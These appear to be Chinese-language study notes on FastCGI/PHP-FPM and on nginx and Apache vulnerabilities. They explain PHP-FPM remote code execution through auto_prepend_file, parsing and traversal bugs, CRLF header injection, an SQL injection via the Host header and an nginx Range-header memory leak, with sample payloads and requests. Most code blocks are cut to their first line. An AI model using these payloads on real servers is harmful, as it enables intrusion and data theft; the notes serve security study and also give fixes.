# nginx 漏洞
1 | 安装fpm |
# CGI、FastCGI、php-cgi、php-fpm
在 CGI 诞生之前 Web 服务器负责静态文件的存储、查找及响应,此时的服务器还不能处理 php 或 asp 此类文件.
随着人们对于网站的要求越来越高,出现了动态技术.
此时的服务器依然不能直接运行 php 此类文件,虽然自己没办法识别,却可以将识别的过程交给别的程序完成.
对于服务器与这个程序之间,我们需要一些规则来进行约定,这个约定便是 CGI 协议.
CGI 协议是 Web 服务器与 CGI 程序之间传递信息的接口标准., 当 Web 服务器获取到客户端提交的数据后,通过 CGI 接口转交给 CGI 程序处理,最后返回给客户.
在上面可以发现 CGI 协议是一套标准,CGI 程序是在服务端的脚本,它可以是任何代码所实现的.
# CGI
CGI(Common Gateway Interface)全称是 “通用网关接口”,WEB 服务器与 PHP 应用进行 “交谈” 的一种工具,其程序须运行在网络服务器上。CGI 可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如 php、perl、tcl 等。
WEB 服务器会传哪些数据给 PHP 解析器呢?URL、查询字符串、POST 数据、HTTP header 都会有。所以,CGI 就是规定要传哪些数据,以什么样的格式传递给后方处理这个请求的协议。
- 当用户请求 Web 服务器的动态脚本
- Web 服务器 fork 出一个新的进程启动 CGI 程序 [启动的过程中需要加载配置、扩展等], 将动态脚本交给 CGI 程序处理.
- CGI 程序启动后解析动态脚本
- 将结果返回 Web 服务器
- Web 服务器将结果返回客户端,fork 的进程关闭
CGI 的好处就是完全独立于任何服务器,仅仅是做为中间分子。提供接口给 apache 和 php。他们通过 cgi 搭线来完成数据传递。这样做的好处了尽量减少 2 个的关联,使他们 2 变得更独立。
可以发现,每次有了动态脚本处理的请求,都需要 fork 新进程,这种工作方式非常低下.
# fastcgi
FastCGI 是一种协议,是从 CGI 标准的基础上发展而来。它的诞生就是为了减轻 Web 服务器与 CGI 程序的交互负载,使得服务器可以同时处理更多的请求.
FastCGI 进程管理器是遵循 FastCGI 协议的程序,它只是一类程序。FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去 fork 一次。它还支持分布式的运算,即 FastCGI 程序可以在网站服务器以外的主机上执行,并且接受来自其它网站服务器来的请求。
FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展,其主要行为是将 CGI 解释器进程保持在内存中,并因此获得较高的性能。如果 CGI 解释器保持在内存中,并接受 FastCGI 进程管理器调度,则可以提供良好的性能、伸缩性、Fail- Over 特性等等。
FastCGI 进程管理器的工作方式
- 客户端请求 Web 服务器的动态脚本
- 服务器将之交给 FastCGI 主进程
- FastCGI 主进程安排空闲进程解析脚本
- 随后处理结果返回服务器
- 服务器返回客户
- 上面的子进程并不会关闭,而是继续等待主进程分配任务.

- Web Server 启动时载入 FastCGI 进程管理器(Apache Module 或 IIS ISAPI 等)
- FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程 (可建多个 php-cgi),并等待来自 Web Server 的连接。 当客户端请求到达 Web
- Server 时,FastCGI 进程管理器选择并连接到一个 CGI 解释器。Web server 将 CGI 环境变量和标准输入发送到 FastCGI 子进程 php-cgi。
- FastCGI 子进程完成处理后,将标准输出和错误信息从同一连接返回 Web Server。当 FastCGI 子进程关闭连接时,请求便告处理完成。FastCGI 子进程接着等待,并处理来自 FastCGI 进程管理器 (运行在 Web Server 中) 的下一个连接。 在 CGI 模式中,php-cgi 在此便退出了。
通过上面可以发现,FastCGI 工作效率非常高
- FastCGI,所有这些都只在进程启动时发生一次。一个额外的好处是,持续数据库连接 (Persistent database connection) 可以工作。
- 由于 FastCGI 是多进程,所以比 CGI 多线程消耗更多的服务器内存,php-cgi 解释器每进程消耗 7 至 25 兆内存,将这个数字乘以 50 或 100 就是很大的内存数。
# php-fpm
fpm 是 FastCGI 进程管理器的缩写,所以 php-fpm 就是 php 的 FastCGI 进程管理器
PHP-FPM 是对于 FastCGI 协议的具体实现,他负责管理一个进程池,来处理来自 Web 服务器的请求。目前,PHP5.3 版本之后,PHP-FPM 是内置于 PHP 的。
在 php5.3 之前 php-fpm 还是个第三方包,5.3 之后官方将它集成到源码中
php-fpm 可以更好的管理 php 进程
控制内存
平滑重载等
# php-cgi
PHP-CGI 是 PHP (Web Application)对 Web Server 提供的 CGI 协议的接口程序。
- php-cgi 变更 php.ini 配置后,需重启 php-cgi 才能让新的 php-ini 生效,不可以平滑重启。
- 直接杀死 php-cgi 进程,php 就不能运行了。
在 linux 安装好 php 后,会发现在安装目录下有 php 与 php-cgi 文件
windows 则是 php.exe 与 php-cgi.exe
它们都能运行 php 脚本
不同点在于.php 是命令模式的 php 解释器
而 php-cgi 支持 CGI 协议的 php 解释器,同时也支持 FastCGI 协议
可以说 php-fpm 是 php-cgi 的改进版,php-cgi 以指定的进程工作,而 php-fpm 可以动态的管理子进程,让子进程处理更多的请求.

1 | CGI:是 Web Server 与 Web Application 之间数据交换的一种协议。 |

# sapi
以 Apache 为例,在 PHP Module 方式中,是在 Apache 的配置文件 httpd.conf 中加上这样几句:
1 | LoadModule php5_module D:/php/php5apache2_2.dll |
这种方式,他们的共同本质都是用 LoadModule 来加载 php5_module,就是把 php 作为 apache 的一个子模块来运行。当通过 web 访问 php 文件时,apache 就会调用 php5_module 来解析 php 代码。
那么 php5_module 通过 sapi 将数据传给 php 解析器来解析 php 代码

sapi 就是这样的一个中间过程,SAPI 提供了一个和外部通信的接口,有点类似于 socket,使得 PHP 可以和其他应用进行交互数据(apache,nginx 等)。php 默认提供了很多种 SAPI,常见的提供给 apache 和 nginx 的 php5_module、CGI、FastCGI,给 IIS 的 ISAPI,以及 Shell 的 CLI。
所以,以上的 apache 调用 php 执行的过程如下:
1 | apache -> httpd -> php5_module -> sapi -> php |
这种模式将 php 模块安装到 apache 中,所以每一次 apache 结束请求,都会产生一条进程,这个进程就完整的包括 php 的各种运算计算等操作。
在上图中,我们很清晰的可以看到,apache 每接收一个请求,都会产生一个进程来连接 php 通过 sapi 来完成请求,可想而知,如果一旦用户过多,并发数过多,服务器就会承受不住了。
而且,把 mod_php 编进 apache 时,出问题时很难定位是 php 的问题还是 apache 的问题。
(94 条消息) 一文读懂 CGI、FastCGI、php-cgi、php-fpm 的区别_phpcgi 和 phpfpm 的区别_小猴子喝牛奶的博客 - CSDN 博客
CGI、FastCGI 和 PHP-FPM 关系解析 - 知乎 (zhihu.com)
nginx+php,浏览器访问 php 文件时变成下载
# nginx + php
采用 nginx+php 作为 webserver 的架构模式,在现如今运用相当广泛。然而第一步需要实现的是如何让 nginx 正确的调用 php。由于 nginx 调用 php 并不是如同调用一个静态文件那么直接简单,是需要动态执行 php 脚本。所以涉及到了对 nginx.conf 文件的配置。
# php fastcgi 配置
1 | server { |
在 Nginx 的网站根目录 (/var/www/) 下创建一个 php 文件
1 |
|
证明 nginx 配置成功
目前主流的 nginx+php 的运行原理如下:
1、nginx 的 worker进程 直接管理每一个请求到 nginx 的网络请求。
2、对于 php 而言,由于在整个网络请求的过程中 php 是一个 cgi 程序的角色,所以采用名为 php-fpm的进程管理程序 来对这些被请求的 php 程序进行管理。php-fpm 程序也如同 nginx 一样,需要监听端口,并且有 master 和 worker 进程。worker 进程直接管理每一个 php 进程。
3、关于 fastcgi:fastcgi 是一种进程管理器,管理 cgi 进程。市面上有多种实现了 fastcgi 功能的进程管理器,php-fpm 就是其中的一种。再提一点,php-fpm 作为一种 fast-cgi 进程管理服务,会监听端口, 一般默认监听9000端口,并且是监听本机 ,也就是只接收来自本机的端口请求,所以我们通常输入命令 netstat -nlpt|grep php-fpm 会得到:
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN 1057/php-fpm
这里的 127.0.0.1:9000 就是监听本机 9000 端口的意思。
4、关于 fastcgi 的配置文件,目前 fastcgi 的配置文件一般放在 nginx.conf 同级目录下,配置文件形式,一般有两种:fastcgi.conf 和 fastcgi_params。不同的 nginx 版本会有不同的配置文件,这两个配置文件有一个非常重要的区别:fastcgi_parames 文件中缺少下列配置:
fastcgi_param SCRIPT_FILENAME fastcgi_script_name;
我们可以打开 fastcgi_parames 文件加上上述行,也可以在要使用配置的地方动态添加。使得该配置生效。
5、 当需要处理php请求时,nginx的worker进程会将请求移交给php-fpm的worker进程进行处理,也就是最开头所说的nginx调用了php,其实严格得讲是nginx间接调用php 。
1 | server { |
Nginx 和 PHP 的配置 - 知乎 (zhihu.com)
[CentOS 7 安装 php-5.6.20_51CTO 博客_centos7 安装 php](https://blog.51cto.com/tryrus/1768525#:~:text = 一、安装环境:CentOS 7 Linux version 3.10.0-229.el7.x86_64 php-5.6.20 二、安装步骤: 2.1,libjpeg-devel libpng-devel libxml2-devel bzip2-devel libcurl-devel –y 2.2 下载 php-5.6.20)
PHP-FPM 和 Nginx 进行安装配置详解 - 知乎 (zhihu.com)
(94 条消息) php 环境搭建(正确配置 nginx 和 php)_nginx php_aloha12 的博客 - CSDN 博客
# PHP-FPM 未授权访问漏洞

# Fastcgi Record
Fastcgi 其实是一个通信协议,和 HTTP 协议一样,都是进行数据交换的一个通道。
HTTP 协议是浏览器和服务器中间件进行数据交换的协议,浏览器将 HTTP 头和 HTTP 体用某个规则组装成数据包,以 TCP 的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以 HTTP 协议的规则打包返回给服务器。
类比 HTTP 协议来说,fastcgi 协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi 协议由多个 record 组成,record 也有 header 和 body 一说,服务器中间件将这二者按照 fastcgi 的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
和 HTTP 头不同,record 的头固定 8 个字节,body 是由头中的 contentLength 指定,其结构如下:
1 | typedef struct { |
头由 8 个 uchar 类型的变量组成,每个变量 1 字节。其中, requestId 占两个字节,一个唯一的标志 id,以避免多个请求之间的影响; contentLength 占两个字节,表示 body 的大小。
语言端解析了 fastcgi 头以后,拿到 contentLength ,然后再在 TCP 流里读取大小等于 contentLength 的数据,这就是 body 体。
Body 后面还有一段额外的数据(Padding),其长度由头中的 paddingLength 指定,起保留作用。不需要该 Padding 的时候,将其长度设置为 0 即可。
可见,一个 fastcgi record 结构最大支持的 body 大小是 2^16 ,也就是 65536 字节。
# Fastcgi Type
type 就是指定该 record 的作用。因为 fastcgi 一个 record 的大小是有限的,作用也是单一的,所以我们需要在一个 TCP 流里传输多个 record。通过 type 来标志每个 record 的作用,用 requestId 作为同一次请求的 id。
也就是说,每次请求,会有多个 record,他们的 requestId 是相同的。
借用该文章中的一个表格,列出最主要的几种 type :

服务器中间件和后端语言通信,第一个数据包就是 type 为 1 的 record,后续互相交流,发送 type 为 4、5、6、7 的 record,结束时发送 type 为 2、3 的 record。
当后端语言接收到一个 type 为 4 的 record 后,就会把这个 record 的 body 按照对应的结构解析成 key-value 对,这就是环境变量
这其实是 4 个结构,至于用哪个结构,有如下规则:
- key、value 均小于 128 字节,用
FCGI_NameValuePair11 - key 大于 128 字节,value 小于 128 字节,用
FCGI_NameValuePair41 - key 小于 128 字节,value 大于 128 字节,用
FCGI_NameValuePair14 - key、value 均大于 128 字节,用 `FCGI_NameValuePair44
举个例子,用户访问 http://127.0.0.1/index.php?a=1&b=2 ,如果 web 目录是 /var/www/html ,那么 Nginx 会将这个请求变成如下 key-value 对:
1 | { |
这个数组其实就是 PHP 中 $_SERVER 数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充 $_SERVER 数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。
PHP-FPM 拿到 fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行 SCRIPT_FILENAME 的值指向的 PHP 文件,也就是 /var/www/html/index.php 。
# Nginx(IIS7)解析漏洞
Nginx 和 IIS7 曾经出现过一个 PHP 相关的解析漏洞(测试环境 https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability ),该漏洞现象是,在用户访问 http://127.0.0.1/favicon.ico/.php 时,访问到的文件是 favicon.ico,但却按照.php 后缀解析了。
用户请求 http://127.0.0.1/favicon.ico/.php ,nginx 将会发送如下环境变量到 fpm 里:
1 | { |
正常来说, SCRIPT_FILENAME 的值是一个不存在的文件 /var/www/html/favicon.ico/.php ,是 PHP 设置中的一个选项 fix_pathinfo 导致了这个漏洞。PHP 为了支持 Path Info 模式而创造了 fix_pathinfo ,在这个选项被打开的情况下,fpm 会判断 SCRIPT_FILENAME 是否存在,如果不存在则去掉最后一个 / 及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。
所以,第一次 fpm 发现 /var/www/html/favicon.ico/.php 不存在,则去掉 /.php ,再判断 /var/www/html/favicon.ico 是否存在。显然这个文件是存在的,于是被作为 PHP 文件执行,导致解析漏洞。
正确的解决方法有两种,一是在 Nginx 端使用 fastcgi_split_path_info 将 path info 信息去除后,用 tryfiles 判断文件是否存在;二是借助 PHP-FPM 的 security.limit_extensions 配置项,避免其他后缀文件被解析。
# PHP-FPM 未授权访问
PHP-FPM 默认监听 9000 端口,如果这个端口暴露在公网,则我们可以自己构造 fastcgi 协议,和 fpm 进行通信。
此时, SCRIPT_FILENAME 的值就格外重要了。因为 fpm 是根据这个值来执行 php 文件的,如果这个文件不存在,fpm 会直接返回 404:
在 fpm 某个版本之前,我们可以将 SCRIPT_FILENAME 的值指定为任意后缀文件,比如 /etc/passwd ;但后来,fpm 的默认配置中增加了一个选项 security.limit_extensions :
1 | ; Limits the extensions of the main script FPM will allow to parse. This can |
其限定了只有某些后缀的文件允许被 fpm 执行,默认是 .php 。所以,当我们再传入 /etc/passwd 的时候,将会返回 Access denied. :
由于这个配置项的限制,如果想利用 PHP-FPM 的未授权访问漏洞,首先就得找到一个已存在的 PHP 文件。
万幸的是,通常使用源安装 php 的时候,服务器上都会附带一些 php 后缀的文件,我们使用 find / -name "*.php" 来全局搜索一下默认环境:
找到了不少。这就给我们提供了一条思路,假设我们爆破不出来目标环境的 web 目录,我们可以找找默认源安装后可能存在的 php 文件,比如 /usr/local/lib/php/PEAR.php 。
为什么我们控制 fastcgi 协议通信的内容,就能执行任意 PHP 代码呢?
理论上当然是不可以的,即使我们能控制 SCRIPT_FILENAME ,让 fpm 执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。
PHP.INI 中有两个有趣的配置项, auto_prepend_file 和 auto_append_file 。
auto_prepend_file 是告诉 PHP,在执行目标文件之前,先包含 auto_prepend_file 中指定的文件; auto_append_file 是告诉 PHP,在执行完成目标文件后,包含 auto_append_file 指向的文件。
那么就有趣了,假设我们设置 auto_prepend_file 为 php://input ,那么就等于在执行任何 php 文件前都要包含一遍 POST 的内容。所以,我们只需要把待执行的代码放在 Body 中,他们就能被执行了。(当然,还需要开启远程文件包含选项 allow_url_include )
那么,我们怎么设置 auto_prepend_file 的值?
这又涉及到 PHP-FPM 的两个环境变量, PHP_VALUE 和 PHP_ADMIN_VALUE 。这两个环境变量就是用来设置 PHP 配置项的, PHP_VALUE 可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项, PHP_ADMIN_VALUE 可以设置所有选项。( disable_functions 除外,这个选项是 PHP 加载的时候就确定了,在范围内的函数直接不会被加载到 PHP 上下文中)
所以,我们最后传入如下环境变量:
1 | { |
设置 auto_prepend_file = php://input 且 allow_url_include = On ,然后将我们需要执行的代码放在 Body 中,即可执行任意代码。
上图中用到的 EXP,就是根据之前介绍的 fastcgi 协议来编写的,代码如下:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75 。兼容 Python2 和 Python3,方便在内网用。
# nginx 文件名逻辑漏洞
主要原因是错误地解析了请求的 URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
正常情况下(关闭 pathinfo 的情况下),只有.php 后缀的文件才会被发送给 fastcgi 解析。
而存在 CVE-2013-4547 的情况下,我们请求 1.gif[0x20][0x00].php ,这个 URI 可以匹配上正则 \.php$ ,可以进入这个 Location 块;但进入后,Nginx 却错误地认为请求的文件是 1.gif[0x20] ,就设置其为 SCRIPT_FILENAME 的值发送给 fastcgi。
fastcgi 根据 SCRIPT_FILENAME 的值进行解析,最后造成了解析漏洞。
该漏洞利用条件有两个:
- Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
- php-fpm.conf 中的 security.limit_extensions 为空,也就是说任意后缀名都可以解析为 PHP
Nginx 版本范围较大,比较好匹配,但 php-fpm.conf 的 security.limit_extensions 配置默认为 php,一般鲜有管理员允许所有类型都可以解析为 PHP
再举个例子,比如很多网站限制了允许访问后台的 IP:
1 | location /admin/ { |
我们可以请求如下 URI: /test[0x20]/../admin/index.php ,这个 URI 不会匹配上 location 后面的 /admin/ ,也就绕过了其中的 IP 验证;但最后请求的是 /test[0x20]/../admin/index.php 文件,也就是 /admin/index.php ,成功访问到后台。(这个前提是需要有一个目录叫 “test”:这是 Linux 系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows 下没有这个限制)
# nginx 错误配置
# CRLF 注入漏洞
下面两种情景十分常见:
- 用户访问
http://example.com/aabbcc,自动跳转到https://example.com/aabbcc - 用户访问
http://example.com/aabbcc,自动跳转到http://www.example.com/aabbcc
第二个场景主要是为了统一用户访问的域名,更加有益于 SEO 优化。
在跳转的过程中,我们需要保证用户访问的页面不变,所以需要从 Nginx 获取用户请求的文件路径。查看 Nginx 文档,可以发现有三个表示 uri 的变量:
$uri$document_uri$request_uri
解释一下,1 和 2 表示的是解码以后的请求路径,不带参数;3 表示的是完整的 URI(没有解码)。
Nginx 会将 $uri 进行解码,导致传入 %0d%0a 即可引入换行符,造成 CRLF 注入漏洞。
错误的配置文件示例(原本的目的是为了让 http 的请求跳转到 https 上):
1 | location / { |
Payload: http://your-ip:8080/%0d%0aSet-Cookie:%20a=1 ,可注入 Set-Cookie 头。
如何修复这个 CRLF 漏洞?正确的做法应该是如下:
1 | location / { |
另外,由 $uri 导致的 CRLF 注入漏洞不仅可能出现在上述两个场景中,理论上,只要是可以设置 HTTP 头的场景都会出现这个问题。
利用《Bottle HTTP 头注入漏洞探究》中的技巧,即可构造一个 XSS 漏洞:
# bottle http 头注入
只要是能设置 HTTP 返回头的地方,都存在头注入的问题。
其将所有设置头的地方都使用了 _hval 方法:
1 | def _hval(value): |
一旦发现 \n、\r、\0 就抛出异常。那么我们怎么复现这个漏洞呢?
直接使用 pip 安装老版本的 bottle 即可: pip install https://github.com/bottlepy/bottle/archive/0.12.10.zip
漏洞原理:
设置 HTTP 头的时候没有处理换行,导致了头注入。
1 | import bottle |
这里还是使用的 redirect,但这个漏洞和 redirect 函数没有任何关系。因为 redirect 函数是向 response 中插入一个 HTTP 头,也就是 Location: xxx ,所以存在头注入。
看看 redirect 函数的实现:
1 | def redirect(url, code=None): |
其中使用了一个 urljoin,将当前 url 和我传入的 path 进行了一次 "join",经过这个操作事情就变得很微妙了: Location 头一定有一个值。这种情况下,浏览器就不会渲染页面,会直接跳转到 Location 头指向的地址。也就是说,如果我要利用 CRLF 构造 XSS 的话,这里是不会触发的。
回想上面提到过的新浪的那个 CRLF,那个漏洞的 Location 是可以为空的,如果浏览器发现 Location 为空就不会进行跳转,进而渲染了后面注入的 HTML,造成 XSS。
# 两种阻止浏览器跳转的方式
可以使用 \0 来阻止 PHP 返回 Location 头的方法。因为 PHP 的 header 函数一旦遇到 \0、\r、\n 这三个字符,就会抛出一个错误,此时 Location 头便不会返回,浏览器也就不会跳转了。
其实当时我还想出来一个方法:在 PHP 没有关闭 display_errors 的情况下,只要在 header 位置的前面某处构造一个错误,一旦有错误信息在 header 前被输出,header 函数也就不会执行了 —— 原因是我们不能在 HTTP 体已经输出的情况下再输出 HTTP 头。
法 1: 将跳转的 url 端口设为 < 80
法 2:使用 CSP 禁止 iframe 的跳转
其中的法 2 利用代码如下:
1 | <?php |
# 目录穿越漏洞
Nginx 在配置别名(Alias)的时候,如果忘记加 / ,将造成一个目录穿越漏洞。
错误的配置文件示例(原本的目的是为了让用户访问到 /home/ 目录下的文件):
1 | location /files { |
Payload: http://your-ip:8081/files../ ,成功穿越到根目录:
# add_header 被覆盖
Nginx 配置文件子块(server、location、if)中的 add_header ,将会覆盖父块中的 add_header 添加的 HTTP 头,造成一些安全隐患。
如下列代码,整站(父块中)添加了 CSP 头:
1 | add_header Content-Security-Policy "default-src 'self'"; |
但 /test2 的 location 中又添加了 X-Content-Type-Options 头,导致父块中的 add_header 全部失效:
# nginx 解析漏洞
版本信息:
- Nginx 1.x 最新版
- PHP 7.x 最新版
由此可知,该漏洞与 Nginx、php 版本无关,属于用户配置不当造成的解析漏洞。
访问 http://your-ip/uploadfiles/nginx.png 和 http://your-ip/uploadfiles/nginx.png/.php 即可查看效果。
增加 /.php 后缀,被解析成 PHP 文件:
访问 http://your-ip/index.php 可以测试上传功能,上传代码不存在漏洞,但利用解析漏洞即可 getshell:
利用条件:
1 | # php.ini |
当访问 http://127.0.0.1/test.jpg 时显示图片解析错误,当访问 http://127.0.0.1/test.jpg/test.php 时结果显示 Access denied,这个回显很奇怪,正常访问这个链接是不存在的,正常思维应该是 404,这里就需要研究下 Nginx 的解析流程了:Nginx 在收到 /test.jpg/test.php 路径时,首先判断文件类型,发现后缀是.php,便交给 php 处理,但 php 想要解析该文件时,发现并不存在,便删除掉 /test.php,去找 test.jpg,此时 test.jpg 是存在的,便要尝试解析它,但无奈后缀是.jpg,不是 php,便报错 Access denied。
上面的流程中提到了一个点,就是删除 /test.php,这是 Nginx 的 “修理” 机制,由参数 cgi.fix_pathinfo 决定,当值为 1 时,便进行 “修理”。例如,文件名为 /aa.jpg/bb.png/cc.php,如果 cc.php 不存在就找 /aa.jpg/bb.png,如果还不存在就找 aa.jpg,如果存在将它视为 php 文件。
到目前为止我们并没有成功利用解析漏洞,因为 php 代码并没有执行。为什么呢?
因为在 PHP 的配置中没有定义降.jpg 文件中的 php 代码也解析为 php,这是在 security.limit_extensions 中定义的。由于 security.limit_extensions 的引入,漏洞难以利用。
# LNMP 架构漏洞挖掘
speedphp 框架,有如下代码
1 |
|
escape 是将 GPR 中的单引号、圆括号转换成中文符号,反斜线进行转义;arg 是获取用户输入的 $_REQUEST 或 $_SERVER 。显然,这里 $_SERVER 变量没有经过转义,先记下这个点。
全局没其他值得注意的地方了,所以开始看 controller 的代码。
1 |
|
网站域名是从 arg('HTTP_HOST') 中获取,也就是从 $_REQUEST 或 $_SERVER 中获取。因为 $_SERVER 没有经过转义,我们只需要在 HTTP 头 Host 值中引入单引号,即可造成一个 SQL 注入漏洞。
但 email 变量经过了 filter_var($email, FILTER_VALIDATE_EMAIL) 的检测,我们首先要绕过之。
# FILTER_VALIDATE_EMAIL 绕过
RFC 3696 规定,邮箱地址分为 local part 和 domain part 两部分。local part 中包含特殊字符,需要如下处理:
- 将特殊字符用
\转义,如Joe\'Blow@example.com - 或将 local part 包裹在双引号中,如
"Joe'Blow"@example.com - local part 长度不超过 64 个字符
虽然 PHP 没有完全按照 RFC 3696 进行检测,但支持上述第 2 种写法。所以,我们可以利用之绕过 FILTER_VALIDATE_EMAIL 的检测。
因为代码中邮箱是用户名、@、Host 三者拼接而成,但用户名是经过了转义的,所以单引号只能放在 Host 中。我们可以传入用户名为 " ,Host 为 aaa'"@example.com ,最后拼接出来的邮箱为 "@aaa'"@example.com 。
这个邮箱包含单引号,将闭合 SQL 语句中原本的单引号,造成 SQL 注入漏洞。
# 绕过 Nginx Host 限制
我们尝试向目标注册页面发送刚才构造好的用户名和 Host:
直接显示 404,似乎并没有进入 PHP 的处理过程。
众所周知,如果我们在浏览器里输入 http://2023.mhz.pw ,浏览器将先请求 DNS 服务器,获取到目标服务器的 IP 地址,之后的 TCP 通信将和域名没有关系。那么,如果一个服务器上有多个网站,那么 Nginx 在接收到 HTTP 包后,将如何区分?
这就是 Host 的作用:用来区分用户访问的究竟是哪个网站(在 Nginx 中就是 Server 块)。
如果 Nginx 发现我们传入的 Host 找不到对应的 Server 块,将会发送给默认的 Server 块,也就是我们通过 IP 地址直接访问的那个 Nginx 默认页面:
默认网站并没有 /main/register 这个请求的处理方法,所以自然会返回 404。
# 第一种处理方法
Nginx 在处理 Host 的时候,会将 Host 用冒号分割成 hostname 和 port,port 部分被丢弃。所以,我们可以设置 Host 的值为 2023.mhz.pw:xxx'"@example.com ,这样就能访问到目标 Server 块:
# 第二种处理方法
当我们传入两个 Host 头的时候,Nginx 将以第一个为准,而 PHP-FPM 将以第二个为准。
也就是说,如果我传入:
1 | Host: 2023.mhz.pw |
Nginx 将认为 Host 为 2023.mhz.pw ,并交给目标 Server 块处理;但 PHP 中使用 $_SERVER['HTTP_HOST'] 取到的值却是 xxx'"@example.com 。这样也可以绕过:
# 第三种处理方法
其实原理就是,我们在发送 https 数据包的时候,SNI 中指定的域名是 example2.com,而无需和 HTTP 报文中的 Host 头保持一致,Nginx 会选择 SNI 中的域名作为 Server Name。
但此时我们在 Burpsuite 里修改协议为 https,并指定好 https 的 Host,也就是 SNI,如图 4。我们再修改 HTTP 数据包的 Host 头,就能正常访问目标后端了,
# Mysql 5.7 INSERT 注入方法
既然已经触发了 SQL 报错,说明 SQL 注入近在眼前。通过阅读源码中包含的 SQL 结构,我们知道 flag 在 flags 表中
因为用户成功登录后,将会显示出该用户的邮箱地址,所以我们可以将数据插入到这个位置。发送如下数据包:
1 | POST /main/register HTTP/1.1 |
可见,我闭合了 INSERT 语句,并插入了一个新用户 t123 ,并将 flag 读取到 email 字段。登录该用户,获取 flag:
# 报错注入
这里有两个需要绕过的坑:
- 由于邮箱的限制,注入语句长度需要小于 64 位
- Mysql 5.7 默认开启严格模式,部分字符串连接语法将导致错误:
ErrorInfo: Truncated incorrect INTEGER value
我们可以不使用字符串连接语法,而使用 < 、 > 、 = 等比较符号来触发漏洞:

# nginx 越界读取
Nginx 在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括 “文件头”+“HTTP 返回包头”+“HTTP 返回包体”。如果二次请求命中了该缓存文件,则 Nginx 会直接将该文件中的 “HTTP 返回包体” 返回给用户。
range:
存在于 HTTP 请求头中,表示请求目标资源的部分内容,例如请求一个图片的前半部分,单位是 byte,原则上从 0 开始,但今天介绍的是可以设置为负数。
range 的典型应用场景例如:断点续传、分批请求资源。
range 在 HTTP 头中的表达方式:
1 | Range:bytes=0-1024 表示访问第0到第1024字节; |
range 在 HTTP Response 表示:
1 | Accept-Ranges:bytes 表示接受部分资源的请求; |

当请求服务器的资源时,如果在缓存服务器中存在,则直接返回,不在访问应用服务器,可以降低应用服务器的负载。
例如网站的首页的缓存,nginx 的默认缓存路径在 /tmp/nginx 下,例如:当请求服务器的资源时,如果在缓存服务器中存在,则直接返回,不在访问应用服务器,可以降低应用服务器的负载。
例如网站的首页的缓存,nginx 的默认缓存路径在 /tmp/nginx 下,例如:

再次访问该页面时会首先读取该缓存内容,其他的静态资源,例如:图片、CSS、JS 等都会被缓存。
1、现在我要读取刚才讲到的缓存文件头,他的 Content-Length 时 612,那么我读取正常缓存文件的 range 是设置为
1 | Range: bytes=0-612 |
使用 curl 工具测试下,命令如下,执行后发现,返回的内容是正常的。
1 | curl -i http://127.0.0.1:8080 -r 0-612 |
2、接下来要读取缓存头,读取前面 600 个字节,也就是
1 | range=content_length + 偏移长度 |
此时知道 range 的 start 是 - 1212,那么 end 呢?nginx 的源码在声明 start,end 时用的是 64 位有符号整型,所以最大可表示:
1 | -2^63-2^63-1 |
所以只要 start+end 为 9223372036854775807 即可,故:
1 | end = 9223372036854775808 - 1212 |
执行结果为下图,可以发现读取到了缓存文件头,里面的 8081 端口在实际的业务场景中可能是其他的地址,这样便会造成信息泄漏。

如果我的请求中包含 Range 头,Nginx 将会根据我指定的 start 和 end 位置,返回指定长度的内容。而如果我构造了两个负的位置,如 (-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于 “HTTP 返回包体” 前的 “文件头”、“HTTP 返回包头” 等内容。
访问 http://your-ip:8080/ ,即可查看到 Nginx 默认页面,这个页面实际上是反向代理的 8081 端口的内容。
调用 python3 poc.py http://your-ip:8080/ ,读取返回结果:

1 | # -*- coding: UTF-8 -*- |
# apach 漏洞
# Apache HTTPD 换行解析漏洞
Apache HTTPD 是一款 HTTP 服务器,它可以通过 mod_php 来运行 PHP 网页。其 2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时, 1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。
启动后 Apache 运行在 http://your-ip:8080 。
原理:禁止上传.php 后缀的文件,但是系统不认为 php\x0A 是非法后缀,可以上传。访问时访问.php%0A 即可
在 1.php 后面插入一个 \x0A (注意,不能是 \x0D\x0A ,只能是一个 \x0A ):


访问刚才上传的 /1.php%0a ,发现能够成功解析,但这个文件不是 php 后缀,说明目标存在解析漏洞:

# HTTP Server 2.4.49 路径穿越漏洞
在其 2.4.49 版本中,引入了一个路径穿越漏洞,满足下面两个条件的 Apache 服务器将会受到影响:
- 版本等于 2.4.49
- 穿越的目录允许被访问,比如配置了
<Directory />Require all granted</Directory>。(默认情况下是不允许的)
利用这个漏洞,可以读取位于 Apache 服务器 Web 目录以外的其他文件,或者读取 Web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。
环境启动后,访问 http://your-ip:8080 即可看到 Apache 默认的 It works! 页面。
使用如下 CURL 命令来发送 Payload(注意其中的 /icons/ 必须是一个存在且可访问的目录):(%2e%2e 是… 的 urlcode)
.%2e 不会被程序解析为… ,即可绕过… 的过滤。 .%2e 会被 url 解密成为路径穿越
